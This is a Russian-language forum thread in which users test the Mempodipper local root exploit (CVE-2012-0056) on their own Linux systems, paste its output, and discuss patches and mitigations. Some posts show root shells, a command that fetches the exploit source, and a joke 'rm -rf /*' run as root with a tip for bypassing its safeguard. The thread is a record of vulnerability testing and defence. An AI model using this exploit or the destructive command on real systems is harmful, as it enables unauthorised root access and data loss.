    Процесс из контейнера отличается от процесса хоста только идентификаторами пространств имен.

     
  • 5.193, Аноним (-), 01:12, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > Далеко не все используют контейнеры для затыкания рутовых зеро-дэй, которые ожидаются by
    > design. Равно как и далеко не все используют контейнеры для дозагрузки
    > простаивающих многоядерников.

    Нагрузка от LXC контейнеров практически по нулям (ну может пару процентов отличие, без микроскопа фиг заметишь). А разграничение довольно неплохое. Там и список процессов будет свой, и сетка и что там еще. И рут в LXC, если надо, может быть "фэйковым", лишенным прав везде кроме своего загончика. Так что если его даже и получат - не так уж и страшно.

    Telepath mode: а вы наверное бсдшник и хотели сказать "у нас этого нет, поэтому оно не нyжно".

     
     
  • 6.203, коксюзер (?), 02:06, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > И рут в LXC, если надо, может быть "фэйковым", лишенным прав везде кроме

    На данный момент разве что при условии монтирования /proc в режиме ro. И не с помощью родных утилит LXC, которым требуется CAP_SYS_MOUNT внутри контейнера.

    > Telepath mode: а вы наверное бсдшник и хотели сказать "у нас этого
    > нет, поэтому оно не нyжно".

    Во FreeBSD давно есть jails.

     
  • 6.211, Аноним (-), 04:14, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > Нагрузка от LXC контейнеров практически по нулям (ну может пару процентов отличие,
    > без микроскопа фиг заметишь). А разграничение довольно неплохое. Там и список
    > процессов будет свой, и сетка и что там еще. И рут
    > в LXC, если надо, может быть "фэйковым", лишенным прав везде кроме
    > своего загончика. Так что если его даже и получат - не
    > так уж и страшно.

    О великий аноним, может ты дашь мне доступ к своему контейнеру на не обновленном ядре?

     
  • 5.236, Аноним (-), 16:35, 07/02/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > Далеко не все используют контейнеры для затыкания рутовых зеро-дэй

    Тогда пусть не обижаются потом крутым руткитам и тому факту что их ресурсы использовали нашару.

     

  • 1.45, Buy (??), 18:14, 23/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +2 +/
    Ubuntu 11.10. Работает.
    .............

    [+] Calculating su padding.
    [+] Seeking to offset 0x4021cc.
    [+] Executing su with shellcode.
    #
    # id
    uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),115(lpadmin),117(admin),122(sambashare)
    # rm -rf /*

    :)))

     
     
  • 2.54, anonymous (??), 18:41, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    debian testing тоже работает
     
  • 2.106, Аноним (-), 23:33, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > # rm -rf /*
    > :)))

    --no-preserve-root забыли.

     
     
  • 3.159, Аноним (-), 15:34, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Со звездочкой - необязательно, preserve-root все равно не работает.
     

  • 1.50, ALex_hha (ok), 18:28, 23/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • –5 +/
    wget http git zx2c4 com CVE-2012-0056 plain mempodipper c gcc -o mempodipp... большой текст свёрнут, показать
     
     
  • 2.62, XPEH (?), 18:58, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • –3 +/
    > ЧЯДНТ?

    Читать не умеете: во всех ядрах 2.6.39 и выше

     
     
  • 3.71, solardiz (ok), 19:18, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +1 +/
    ... и в RHEL 6 начиная с 2.6.32-220.el6, согласно Red Hat'у. Так что CentOS 6 с этой версией ядра должен быть уязвим. Но там могут быть другие отличия, ломающие конкретный эксплойт.
     
  • 2.65, solardiz (ok), 19:05, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Это немного странно, хотя не-работа конкретного эксплойта мало что значит. Если разбираться, я бы начал с проверки наличия mem_write с помощью вот этой тестовой программки: https://bugzilla.redhat.com/attachment.cgi?id=556461
     
  • 2.165, solardiz (ok), 15:52, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Как многие уже догадались, на RHEL 6 и некоторых других системах, где опубликова... большой текст свёрнут, показать
     

  • 1.55, ILYA INDIGO (ok), 18:43, 23/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    ilya@ILYA:/tmp> uname -a
    Linux ILYA 3.2.1-3-desktop #1 SMP PREEMPT Fri Jan 13 10:38:45 UTC 2012 (2eca2bf) x86_64 x86_64 x86_64 GNU/Linux
    ilya@ILYA:/tmp> gcc ./a.c -o c
    ilya@ILYA:/tmp> ./c
    ===============================
    =          Mempodipper        =
    =           by zx2c4          =
    =         Jan 21, 2012        =
    ===============================

    [+] Opening socketpair.
    [+] Waiting for transferred fd in parent.
    [+] Executing child from child fork.
    [+] Opening parent mem /proc/30336/mem in child.
    [+] Sending fd 5 to parent.
    [+] Received fd at 5.
    [+] Assigning fd 5 to stderr.
    [+] Reading su for exit@plt.
    [+] Resolved exit@plt to 0x25e0.
    [+] Calculating su padding.
    [+] Seeking to offset 0x25be.
    [+] Executing su with shellcode.
    ilya@ILYA:/tmp> whoami
    ilya

    Это я что то не так делаю, или в openSUSE этого бага нету?

     
     
  • 2.61, ILYA INDIGO (ok), 18:57, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Таки в openSUSE этот эксплоит НЕ пашет :)
    Конечно при постоянном обновлении, хотя последний раз обновлялся 21-ого.
     
     
  • 3.66, solardiz (ok), 19:06, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > Таки в openSUSE этот эксплоит НЕ пашет :)

    ...что ничего не означает о наличии или отсутствии этой уязвимости. :-)

     
     
  • 4.80, ILYA INDIGO (ok), 20:04, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Я и не спорю, про уязвимость в целом, но констатирую отдельный факт.
     
  • 2.108, Sergey (??), 23:38, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Да, у меня тоже в OpenSuSe не пашет
     

  • 1.58, Аноним (-), 18:48, 23/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Debian wheezy/sid : работает.
    3.2.0-1-amd64 #1 SMP Thu Jan 19 09:46:46 UTC 2012 x86_64 GNU/Linux

    $ ./mempodipper
    ===============================
    =          Mempodipper        =
    =           by zx2c4          =
    =         Jan 21, 2012        =
    ===============================

    [+] Opening socketpair.
    [+] Waiting for transferred fd in parent.
    [+] Executing child from child fork.
    [+] Opening parent mem /proc/13591/mem in child.
    [+] Sending fd 5 to parent.
    [+] Received fd at 5.
    [+] Assigning fd 5 to stderr.
    [+] Reading su for exit@plt.
    [+] Resolved exit@plt to 0x401fa8.
    [+] Calculating su padding.
    [+] Seeking to offset 0x401f9c.
    [+] Executing su with shellcode.
    # whoami
    root

     
  • 1.64, Аноним (-), 19:04, 23/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    В Debian Squeeze обновленного из backports с ядром 2.6.39 норм запустился.
    А в OpenSuSE 12.1 с ядром 3.1 молча весь вывод пробегает, но su терминал не предоставляет... Печаль :-(
     
     
  • 2.67, Аноним (-), 19:08, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Вопрос походу отпал.
    Они 5 января уязвимость пофиксили вроде как. И хотя я еще не разу её не обновил, но скачал DVD и устанавливал около 15числа.
     

  • 1.68, Аноним (-), 19:11, 23/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    3.3-rc1 - не работает :)

    > ./a.out              

    ===============================
    =          Mempodipper        =
    =           by zx2c4          =
    =         Jan 21, 2012        =
    ===============================

    [+] Opening socketpair.
    [+] Waiting for transferred fd in parent.
    [+] Executing child from child fork.
    [+] Opening parent mem /proc/6675/mem in child.
    [+] Sending fd 5 to parent.
    [+] Received fd at 5.
    [+] Assigning fd 5 to stderr.
    [+] Reading su for exit@plt.
    [+] Resolved exit@plt to 0x401dd0.
    [+] Calculating su padding.
    [+] Seeking to offset 0x401dc2.
    [+] Executing su with shellcode.
    > whoami

    vizor

     
     
  • 2.70, имя (?), 19:15, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • –1 +/
    web ? )
     

  • 1.78, Аноним (-), 19:57, 23/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    bash-4 1 a out Mempodipper ... большой текст свёрнут, показать
     
     
  • 2.81, Денис (??), 20:07, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    [user0@homelinux test]$ ./a.out
    ===============================
    =          Mempodipper        =
    =           by zx2c4          =
    =         Jan 21, 2012        =
    ===============================

    [+] Opening socketpair.
    [+] Waiting for transferred fd in parent.
    [+] Executing child from child fork.
    [+] Opening parent mem /proc/1816/mem in child.
    [+] Sending fd 5 to parent.
    [+] Received fd at 5.
    [+] Assigning fd 5 to stderr.
    [+] Reading su for exit@plt.
    [+] Resolved exit@plt to 0x80493d0.
    [+] Calculating su padding.
    [+] Seeking to offset 0x80493ae.
    [+] Executing su with shellcode.
    Ошибка сегментирования
    [user0@homelinux test]$
    Linux homelinux 3.2.1-1-ARCH

     
     
  • 3.194, Аноним (-), 01:14, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > Ошибка сегментирования

    В арче даже сплойты работают с багами :)

     

  • 1.83, Злыдень (??), 20:38, 23/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    > Дополнение 3: Вышло обновление с устранением уязвимости для Ubuntu 11.10.

    Вот это скорость. В Fedora обновление в лучшем случае в среду вечером выйдет.

     
     
  • 2.127, Аноним (-), 09:18, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    В Арче тоже уже доступно.
     
  • 2.162, Аноним (-), 15:41, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > Вот это скорость. В Fedora обновление в лучшем случае в среду вечером выйдет.

    Но зато оно не будет содержать новую уязвимость, в отличие от :)

     
     
  • 3.195, Аноним (-), 01:15, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > Но зато оно не будет содержать новую уязвимость, в отличие от :)

    Что за новая уязвимость? Откуда дровишки?

     

  • 1.86, meequz (ok), 20:53, 23/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +2 +/
    В Mandriva 2011 не работает. Ни 38 ядром, ни с 39.
     
  • 1.93, Аноним (-), 21:47, 23/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Странно:

    glsa-check -t all
    This system is not affected by any of the listed GLSAs

    uname -r
    3.2.1-gentoo

     
     
  • 2.118, I am (??), 02:31, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > Странно:
    > glsa-check -t all
    > This system is not affected by any of the listed GLSAs
    > uname -r
    > 3.2.1-gentoo

    На ядра GLSA не публикуют.

     

  • 1.94, Аноним (-), 21:54, 23/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Linux da_desktop 3.1.9-1.fc16.i686.PAE #1 SMP Fri Jan 13 16:57:54 UTC 2012 i686 i686 i386 GNU/Linux

    {den@da_desktop}-> ~ $gcc -o rk rk.c
    {den@da_desktop}-> ~ $./rk
    ===============================
    =          Mempodipper        =
    =           by zx2c4          =
    =         Jan 21, 2012        =
    ===============================

    [+] Opening socketpair.
    [+] Waiting for transferred fd in parent.
    [+] Executing child from child fork.
    [+] Opening parent mem /proc/4470/mem in child.
    [+] Sending fd 5 to parent.
    [+] Received fd at 5.
    [+] Assigning fd 5 to stderr.
    [+] Reading su for exit@plt.
    [+] Resolved exit@plt to 0x1524.
    [+] Calculating su padding.
    [+] Seeking to offset 0x1516.
    [+] Executing su with shellcode.
    {den@da_desktop}-> ~ $whoami
    den

    Не работает.

     
  • 1.98, Аноним (-), 22:47, 23/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    в aptosid ещё 20 числа выпустили апдейт
     
  • 1.100, Аноним (-), 22:58, 23/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    RHEL 6.1 - не работает
     
  • 1.101, dAverk (??), 23:06, 23/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Трижды попробовал. ЧЯДНТ? :(

    [dAverk@dAverk ~]$ ./mempodipper
    ===============================
    =          Mempodipper        =
    =           by zx2c4          =
    =         Jan 21, 2012        =
    ===============================

    [+] Opening socketpair.
    [+] Waiting for transferred fd in parent.
    [+] Executing child from child fork.
    [+] Opening parent mem /proc/7121/mem in child.
    [+] Sending fd 5 to parent.
    [+] Received fd at 5.
    [+] Assigning fd 5 to stderr.
    [+] Reading su for exit@plt.
    [+] Resolved exit@plt to 0x21a8.
    [+] Calculating su padding.
    [+] Seeking to offset 0x2186.
    [+] Executing su with shellcode.
    [dAverk@dAverk ~]$ whoami
    dAverk
    [dAverk@dAverk ~]$ uname -a
    Linux dAverk.4820TG 3.1.7-1.fc16.x86_64 #1 SMP Tue Jan 3 19:45:05 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
    [dAverk@dAverk ~]$ cat /etc/redhat-release
    RFRemix release 16 (Verne)
    [dAverk@dAverk ~]$ id
    uid=1000(dAverk) gid=1000(dAverk) группы=1000(dAverk)

     
     
  • 2.102, dAverk (??), 23:08, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Ща ещё обновимся до 3.1.9 и заодно на 6м центе и дебах 5/6 посмотрим-с
     
     
  • 3.104, dAverk (??), 23:25, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    на 3 1 9 тоже не завелось dAverk dAverk mempodipper ... большой текст свёрнут, показать
     
  • 3.109, dAverk (??), 23:46, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    на 5м дебе старое ядро, на 6м работает На 6й центе даже gcc отродясь не было, н... большой текст свёрнут, показать
     
     
  • 4.134, dAverk (??), 10:11, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    на 2.6.32-220 Centos 6 Не заработало
    [admin@samba ~]$ uname -a
    Linux samba.unesko 2.6.32-220.2.1.el6.x86_64 #1 SMP Fri Dec 23 02:21:33 CST 2011 x86_64 x86_64 x86_64 GNU/Linux
     
  • 4.148, Аноним (-), 12:42, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > на 5м дебе старое ядро, на 6м работает.

    Ты что-то попутал. В squeeze 2.6.32

     
     
  • 5.158, dAverk (??), 15:23, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    >> на 5м дебе старое ядро, на 6м работает.
    > Ты что-то попутал. В squeeze 2.6.32

    Каюсь - чёрт меня попутал. На тестовой машине смотрел, а у меня там из wheezy ядрышко :)

     

  • 1.107, Гентушник (ok), 23:34, 23/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    На Gentoo 3.1.5-hardened x86_64 не работает.
    Даже chmod a+r /bin/su не помогает.
    Вот так всегда :(
     
     
  • 2.110, Гентушник (ok), 23:54, 23/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    test@naodesu ~/CVE-2012-0056 $ ./mempodipper
    ===============================
    =          Mempodipper        =
    =           by zx2c4          =
    =         Jan 21, 2012        =
    ===============================

    [+] Opening socketpair.
    [+] Waiting for transferred fd in parent.
    [+] Executing child from child fork.
    [+] Opening parent mem /proc/31729/mem in child.
    [+] Sending fd 5 to parent.
    [+] Received fd at 5.
    [+] Assigning fd 5 to stderr.
    [+] Reading su for exit@plt.
    [+] Resolved exit@plt to 0x2a90.
    [+] Calculating su padding.
    [+] Seeking to offset 0x2a84.
    [+] Executing su with shellcode.
    test@naodesu ~/CVE-2012-0056 $ id
    uid=1003(test) gid=1003(test) groups=1003(test)
    test@naodesu ~/CVE-2012-0056 $ cat /etc/shadow
    cat: /etc/shadow: Permission denied

     

  • 1.113, arisu (ok), 23:59, 23/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    хм.

    uname -a
    Linux 3.1.5 #2 SMP Sat Dec 10 22:58:40 EET 2011 i686 Intel(R) Core(TM)2 Duo CPU     E8400  @ 3.00GHz GenuineIntel GNU/Linux

    ./mempodipper
    ===============================
    =          Mempodipper        =
    =           by zx2c4          =
    =         Jan 21, 2012        =
    ===============================

    [+] Opening socketpair.
    [+] Waiting for transferred fd in parent.
    [+] Executing child from child fork.
    [+] Opening parent mem /proc/10462/mem in child.
    [+] Sending fd 5 to parent.
    [+] Received fd at 5.
    [+] Assigning fd 5 to stderr.
    [+] Reading su for exit@plt.
    [-] Could not resolve /bin/su. Specify the exit@plt function address manually.
    [-] Usage: ./mempodipper -o ADDRESS
    [-] Example: ./mempodipper -o 0x402178

    не работает. %-(

     
     
  • 2.115, arisu (ok), 00:04, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    после objdump и указания адреса — тоже. пичалька.
     

  • 1.124, reinhard (ok), 07:20, 24/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    bash-4.2$ uname -a
    Linux spring.bit.ab.ru 2.6.41.1-1.fc15.i686 #1 SMP Fri Nov 11 21:50:36 UTC 2011 i686 i686 i386 GNU/Linux
    bash-4.2$ ./a.out
    ===============================
    =          Mempodipper        =
    =           by zx2c4          =
    =         Jan 21, 2012        =
    ===============================

    [+] Opening socketpair.
    [+] Waiting for transferred fd in parent.
    [+] Executing child from child fork.
    [+] Opening parent mem /proc/2478/mem in child.
    [+] Sending fd 5 to parent.
    [+] Received fd at 5.
    [+] Assigning fd 5 to stderr.
    [+] Reading su for exit@plt.
    [+] Resolved exit@plt to 0x1734.
    [+] Calculating su padding.
    [+] Seeking to offset 0x1726.
    [+] Executing su with shellcode.
    bash-4.2$ id
    uid=99(nobody) gid=99(nobody) groups=99(nobody)

     
  • 1.125, Флинт (?), 07:39, 24/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    [alexander@localhost ~]$ ./mempodipper
    ===============================
    =          Mempodipper        =
    =           by zx2c4          =
    =         Jan 21, 2012        =
    ===============================

    [+] Opening socketpair.
    [+] Waiting for transferred fd in parent.
    [+] Executing child from child fork.
    [+] Opening parent mem /proc/5212/mem in child.
    [+] Sending fd 5 to parent.
    [+] Received fd at 5.
    [+] Assigning fd 5 to stderr.
    [+] Reading su for exit@plt.
    [+] Resolved exit@plt to 0x1984.
    [+] Calculating su padding.
    [+] Seeking to offset 0x1962.
    [+] Executing su with shellcode.
    [alexander@localhost ~]$ whoami
    alexander
    [alexander@localhost ~]$ uname -r
    2.6.39.4-5.1-desktop
    [alexander@localhost ~]$

    ROSA 2011 не работает! :)

     
  • 1.126, CHERTS (??), 08:19, 24/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    На Ubuntu 11.10 x86 с ядром 3.0.0 эксплоит работает
     
     
  • 2.153, Аноним (-), 13:41, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > На Ubuntu 11.10 x86 с ядром 3.0.0 эксплоит работает

    так уже апдейт вышел

     
     
  • 3.163, Аноним (-), 15:49, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > так уже апдейт вышел

    ... с новой дырой в комплекте :)

     

  • 1.128, Ващенаглухо (ok), 09:26, 24/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    ===============================
    =          Mempodipper        =
    =           by zx2c4          =
    =         Jan 21, 2012        =
    ===============================

    [+] Opening socketpair.
    [+] Waiting for transferred fd in parent.
    [+] Executing child from child fork.
    [+] Opening parent mem /proc/13961/mem in child.
    [+] Sending fd 5 to parent.
    [+] Received fd at 5.
    [+] Assigning fd 5 to stderr.
    [+] Reading su for exit@plt.
    [-] Could not resolve /bin/su. Specify the exit@plt function address manually.
    [-] Usage: /tmp/CVE-201209956 -o ADDRESS
    [-] Example: /tmp/CVE-201209956 -o 0x402178

    Не работает на 3.0.4-hardened-r5, другого и не ожидал.

     
     
  • 2.168, Пиу (?), 17:09, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    на обычной генте тоже не работает - /bin/su закрыт на чтение
     

  • 1.129, FiX лень логиниться (?), 09:46, 24/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    В арче запатчено:

    /var/abs/core/linux $ cat PKGBUILD |grep CVE-2012-0056
            'CVE-2012-0056.patch')
      # patch for CVE-2012-0056
      patch -p1 -i "${srcdir}/CVE-2012-0056.patch"

     
  • 1.131, EuPhobos (ok), 09:58, 24/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Дополнения к новости совсем не радуют.
     
     
  • 2.133, dAverk (??), 09:59, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > Дополнения к новости совсем не радуют.

    Какие именно? :D

     
     
  • 3.164, Аноним (-), 15:50, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    >> Дополнения к новости совсем не радуют.
    > Какие именно? :D

    То, что вместе с патчем в убунту прилетела новая дыра.

     
  • 2.140, Andrey Mitrofanov (?), 10:46, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > Дополнения к новости совсем не радуют.

    Как ни странно, дополнение про Андроид может кого-то и порадовать: очередной иксплоит, чтоб разлочить (вдруг получится?) пошифку... Главное, _терпеть_ и не ставить FOTA (ф*инг обновления "по воздуху"). %) Держаться!

    (Хотя с другой стороны, на этих ваших телефонах какое-то 2.6.35+xyz. Когда ещё к нему приспособят...)

     

  • 1.135, artem (??), 10:16, 24/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Fedora 16.

    uname -a
    Linux notebook.blahblah 3.1.9-1.fc16.i686 #1 SMP Fri Jan 13 17:14:41 UTC 2012 i686 i686 i386 GNU/Linux

    $ ./a.out
    ===============================
    =          Mempodipper        =
    =           by zx2c4          =
    =         Jan 21, 2012        =
    ===============================

    [+] Opening socketpair.
    [+] Waiting for transferred fd in parent.
    [+] Executing child from child fork.
    [+] Opening parent mem /proc/4736/mem in child.
    [+] Sending fd 5 to parent.
    [+] Received fd at 5.
    [+] Assigning fd 5 to stderr.
    [+] Reading su for exit@plt.
    [+] Resolved exit@plt to 0x1524.
    [+] Calculating su padding.
    [+] Seeking to offset 0x1502.
    [+] Executing su with shellcode.
    [artem@notebook eatme]$ whoami
    artem

    Как-то так, в общем.

     
     
  • 2.139, AlexYeCu (ok), 10:45, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Опа. Может поэтому федоровцы и не шевелятся?
     
     
  • 3.142, artem (??), 11:10, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Возможно, но вот что есть, то есть. не сработало оно у меня. :)
     
  • 2.143, Tav (ok), 11:22, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +2 +/
    «Note: Fedora defaults to /proc/sys/kernel/randomize_va_space = 2, which makes
    this more difficult to exploit.»

    https://bugzilla.redhat.com/show_bug.cgi?id=782681

     

  • 1.136, SubGun (ok), 10:16, 24/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Сколько народу поскачивало эксплойт :DDD Надо бы туда вирусняк затолкать, чтобы веселей было.
     
     
  • 2.137, dAverk (??), 10:28, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > Сколько народу поскачивало эксплойт :DDD Надо бы туда вирусняк затолкать, чтобы веселей
    > было.

    Надо было. А то я зря сидел смотрел что оно делает в виртуалке, думал хоть бэкдур какой в комплекте идёт :(

     
     
  • 3.138, arisu (ok), 10:41, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    а почитать исходник не судьбец, видимо.
     
     
  • 4.141, dAverk (??), 10:48, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > а почитать исходник не судьбец, видимо.

    Читал, но всё равно для собственного спокойствия проверил :)

     
  • 2.155, 57349817591 (?), 14:12, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Неосилила настройку приоритетов репозиториев?
     

  • 1.149, Аноним (-), 12:51, 24/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    В Gentoo на 3.0.4-hardened-r4 не работает, на 3.0.6-gentoo - работает.
     
     
  • 2.171, vle (ok), 17:23, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > В Gentoo на 3.0.4-hardened-r4 не работает, на 3.0.6-gentoo - работает.

    На то он собственно и hardened.
    В том его задача.

     

  • 1.172, Аноним (-), 17:26, 24/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    А кто-нибудь может пояснить зачем вообще нужна поддержка записи в /proc/pid/mem ? Для чего её добавили ? Чтение ещё понятно, для отладки полезная вещь. Но для чего нужен доступ на запись в память другого процесса ?
     
     
  • 2.177, arisu (ok), 21:34, 24/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    для scanmem, например.
     
     
  • 3.196, Аноним (-), 01:21, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > для scanmem, например.

    Ну вот вынести в отдельный sysctl, чтоли. Надо далеко не всем, а потенциально - некислый источник дыр. Вообще, если юзер занят дебагом, защищаться от него довольно тухлое начинание.

     
     
  • 4.197, arisu (ok), 01:26, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > Ну вот вынести в отдельный sysctl, чтоли.

    новый патч так и делает, тащемта: «Add the "proc_pid_mem" sysctl to control whether or not /proc/pid/mem is allowed to work: 0: disabled, 1: read only, 2: read/write (default).»

     

  • 1.173, Йоптик (?), 19:24, 24/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/

    ksodete@dev-tester ~/explo $ uname -a
    Linux dev-tester 3.1.5-gentoo #8 SMP Sun Jan 22 02:17:33 EET 2012 x86_64 Intel(R) Core(TM)2 Duo CPU E7300 @ 2.66GHz GenuineIntel GNU/Linux
    ksodete@dev-tester ~/explo $ whoami
    ksodete
    ksodete@dev-tester ~/explo $ gcc -o in mempodipper.c
    ksodete@dev-tester ~/explo $ ./in
    ===============================
    =          Mempodipper        =
    =           by zx2c4          =
    =         Jan 21, 2012        =
    ===============================

    [+] Opening socketpair.
    [+] Waiting for transferred fd in parent.
    [+] Executing child from child fork.
    [+] Opening parent mem /proc/12942/mem in child.
    [+] Sending fd 5 to parent.
    [+] Received fd at 5.
    [+] Assigning fd 5 to stderr.
    [+] Ptracing su to find next instruction without reading binary.
    [+] Resolved exit@plt to 0x402298.
    [+] Calculating su padding.
    [+] Seeking to offset 0x40227d.
    [+] Executing su with shellcode.
    sh-4.2# whoami
    root
    sh-4.2# rm -r /te.cpp
    sh-4.2#
    ...
    Бл***

     
  • 1.174, Йоптик (?), 21:16, 24/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Негентушный способ для гентушников. Получилось закрыть дырку. Правда, сделал немного тупо, но ничего, работает.
    1. # cd /usr/src/linux
    2. nano 2100_proc-mem-handling-fix.patch
    3. Копипастинг текста отсюда: http://sources.gentoo.org/viewcvs.py/gentoo-x86/sys-kernel/pf-sources/files/2

    4. ctrl + o
    5. # cd fs/proc/
    6. # patch ../../2100_proc-mem-handling-fix.patch
    7. # make && make modules_install
    8. cp arch/<arch>/boot/bzImage /boot/kernel-<version>-gentoo
    9. # reboot

    ksodete@dev-tester ~ $ ./in
    ===============================
    =          Mempodipper        =
    =           by zx2c4          =
    =         Jan 21, 2012        =
    ===============================

    [+] Opening socketpair.
    [+] Waiting for transferred fd in parent.
    [+] Executing child from child fork.
    [+] Opening parent mem /proc/4157/mem in child.
    [+] Sending fd 5 to parent.
    [+] Received fd at 5.
    [+] Assigning fd 5 to stderr.
    [+] Ptracing su to find next instruction without reading binary.
    [+] Resolved exit@plt to 0x402298.
    [+] Calculating su padding.
    [+] Seeking to offset 0x40227d.
    [+] Executing su with shellcode.
    ksodete@dev-tester ~ $ whoami
    ksodete
    ksodete@dev-tester ~ $

     
     
  • 2.229, Ващенаглухо (ok), 10:07, 27/01/2012 [^] [^^] [^^^] [ответить]  
  • +/
    что люди только не придумают,лишь бы не использовать hardened-sources
     

  • 1.175, Йоптик (?), 21:17, 24/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Ой, сори-сори
    ---6. # patch ../../2100_proc-mem-handling-fix.patch
    +++6. # patch -i ../../2100_proc-mem-handling-fix.patch
     
  • 1.198, Sw00p aka Jerom (?), 01:31, 25/01/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    на RHEL старом ваще не компилится )))

    2.6.18-8.el5

    ругается на pipe2 (заменил на пайп всё равно не работает - висит на чтении)

    ===============================
    =          Mempodipper        =
    =           by zx2c4          =
    =         Jan 21, 2012        =
    ===============================

    [+] Ptracing su to find next instruction without reading binary.
    [+] Creating ptrace pipe.
    [+] Forking ptrace child.
    [+] Ptrace_traceme'ing process.
    [+] Waiting for ptraced child to give output on syscalls.


    ---------------

    скачал под федору эксплоит с использованием не su а gpasswd - тоже не сработал - даже отрубил  ASLR

    ===============================
    =          Mempodipper        =
    =           by zx2c4          =
    =         Jan 21, 2012        =
    ===============================

    [+] Opening socketpair.
    [+] Waiting for transferred fd in parent.
    [+] Executing child from child fork.
    [+] Opening parent mem /proc/3593/mem in child.
    [+] Sending fd 6 to parent.
    [+] Received fd at 6.
    [+] Assigning fd 6 to stderr.
    [+] Reading gpasswd for exit@plt.
    [+] Resolved exit@plt to 0x8049900.
    [+] Calculating gpasswd padding.
    [+] Seeking to offset 0x80498f1.
    [+] Executing gpasswd with shellcode.
    unknown group: 1۰1۰.1ɳ?1�hn/shh//bi��-iR��PS��0

    gpasswd: Permission denied

     
     
  • 2.199, arisu (ok), 01:33, 25/01/2012 [^] [^^] [^^^] [ответить]  
  • +1 +/
    во-первых: сказали же: 2.6.39.

    во-вторых: если
    > ругается на pipe2

    препятствие — лучше никогда ничего не компилируй больше.

     
     
  • 3.200, Sw00p aka Jerom (?), 01:43, 25/01/2012 [^] [^^] [^^^] [ответить]  
